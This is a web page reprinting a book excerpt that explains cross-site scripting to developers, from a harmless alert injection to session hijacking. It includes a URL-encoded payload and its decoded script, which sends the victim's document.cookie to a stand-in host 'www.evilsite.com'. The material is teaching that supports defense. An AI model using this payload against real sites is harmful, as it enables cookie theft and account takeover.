JavaScript
  Home arrow JavaScript arrow Page 8 - JavaScript Security
Dev Articles Forums 
ADO.NET  
Apache  
ASP  
ASP.NET  
C#  
C++  
ColdFusion  
COM/COM+  
Delphi-Kylix  
Design Usability  
Development Cycles  
DHTML  
Embedded Tools  
Flash  
Graphic Design  
HTML  
IIS  
Interviews  
Java  
JavaScript  
MySQL  
Oracle  
Photoshop  
PHP  
Reviews  
Ruby-on-Rails  
SQL  
SQL Server  
Style Sheets  
VB.Net  
Visual Basic  
Web Authoring  
Web Services  
Web Standards  
XML  
Mobile Linux 
App Generation ROI 
IBM® developerWorks 
Weekly Newsletter
 
Developer Updates  
Free Website Content 
 RSS  Articles
 RSS  Forums
 RSS  All Feeds
Write For Us Get Paid 
Request Media Kit
Contact Us 
Site Map 
Privacy Policy 
Support 
 USERNAME
 
 PASSWORD
 
 
  >>> SIGN UP!  
  Lost Password? 
JAVASCRIPT

JavaScript Security
By: McGraw-Hill/Osborne
  • Search For More Articles!
  • Disclaimer
  • Author Terms
  • Rating: 4 stars4 stars4 stars4 stars4 stars / 65
    2004-10-04

    Table of Contents:
  • JavaScript Security
  • Exceptions to and Problems with Same-Origin Policy
  • Signed Scripts in Mozilla Browsers
  • Signed Script Practicalities
  • Security Zones in Internet Explorer
  • ActiveX Controls
  • Browser Security Problems with JavaScript
  • Cross-Site Scripting
  • Preventing Cross-Site Scripting

  • Rate this Article: Poor Best 
      ADD THIS ARTICLE TO:
      Del.ici.ous Digg
      Blink Simpy
      Google Spurl
      Y! MyWeb Furl
    Email Me Similar Content When Posted
    Add Developer Shed Article Feed To Your Site
    Email Article To Friend
    Print Version Of Article
    PDF Version Of Article
     
     
    ADVERTISEMENT


    JavaScript Security - Cross-Site Scripting


    (Page 8 of 9 )

    Not all security problems related to JavaScript are the fault of the browser. Sometimes the creator of a Web application is to blame. Consider a site that accepts a user name in form input and then displays it in the page. Entering the name “Fred” and clicking Submit might result in loading a URL like http://www.example.com/mycgi?username=Fred, and the following snippet of HTML to appear in the resulting page:

    Hello, <b>Fred</b>!

    But what happens if someone can get you to click on a link to http://www.example.com/ mycgi?username=Fred<script>alert(‘Uh oh’);</script>? The CGI might write the following HTML into the resulting page:

    Hello, <b>Fred<script>alert('Uh oh');</script></b>

    The script passed in through the username URL parameter was written directly into the page, and its JavaScript is executed as normal.

    This exceedingly undesirable behavior is known as cross-site scripting (commonly referred to as XSS). It allows JavaScript created by attackers to be “injected” into pages on your site. The previous example was relatively benign, but the URL could easily have contained more malicious script. For example, consider the following URL:

    http://www.example.com/mycgi?username=Fritz%3Cscript%3E%0A%28new%20Image%29.src%3D %27http%3A//www.evilsite.com/%3Fstolencookie%3D%27+escape%28document.cookie%29%3B% 0A%3C/script%3E

    First, note that potentially problematic characters such as <, :, and ? have been URL encoded so as not to confuse the browser. Now consider the resulting HTML that would be written into the page:

    Hello, <b>Fritz <script>
    (new Image).src='http://www.evilsite.com/?stolencookie='+
    escape(document.cookie);
    </script></b>

    This script causes the browser to try to load an image from www.evilsite.com, and includes in the URL any cookies the user has for the current site (www.example.com). The fact that this image doesn’t exist is not important; the user won’t see it anyway. What is important is to notice that the attacker presumably runs www.evilsite.com, and now only has to look through his logs in order to find cookies that have been stolen from unsuspecting users. Since most sites store login information in cookies, this could potentially let the attacker log in with his victims’ identities.

    Cross-site scripting attacks aren’t limited to stealing cookies. Anything undesirable that is prevented by the same origin policy could happen. For example, the script could just as easily have snooped on the user’s keypresses and sent them to www.evilsite.com. The same origin policy doesn’t apply here: the browser has no way of knowing that www.example.com didn’t intend for the script to appear in the page.

    McGraw-Hill-OsborneThis chapter is from JavaScript: The Complete Reference, second edition, by Thomas Powell and Fritz Schneider, McGraw-Hill/Osborne, ISBN: 0072253576). Check it out at your favorite bookstore today.

    Buy this book now.

    More JavaScript Articles
    More By McGraw-Hill/Osborne


     

    JAVASCRIPT ARTICLES

    - Building Dynamic Shadows with JavaScript and...
    - Active Client Pages: Chrys`s Approach
    - The Script Approach to Active Client Pages: ...
    - Principles of Active Client Pages: the Scrip...
    - Active Client Pages: the Script Approach
    - Building an RTF-capable Form with the Ext JS...
    - Creating a Multi-Tabbed Online Form with the...
    - jQuery Overview
    - Constructing a Multi-Column Online Form with...
    - Grouping Field Sets on Dynamic Web Forms wit...
    - Building Dynamic Web Forms with the Ext JS F...
    - More on JavaScript Array Objects
    - Methods of the DOM Location Object
    - The DOM Location Object Properties
    - Handling Remote Files with JavaScript Click ...







    © 2003-2009 by Developer Shed. All rights reserved. DS Cluster 3 hosted by Hostway
    Stay green...Green IT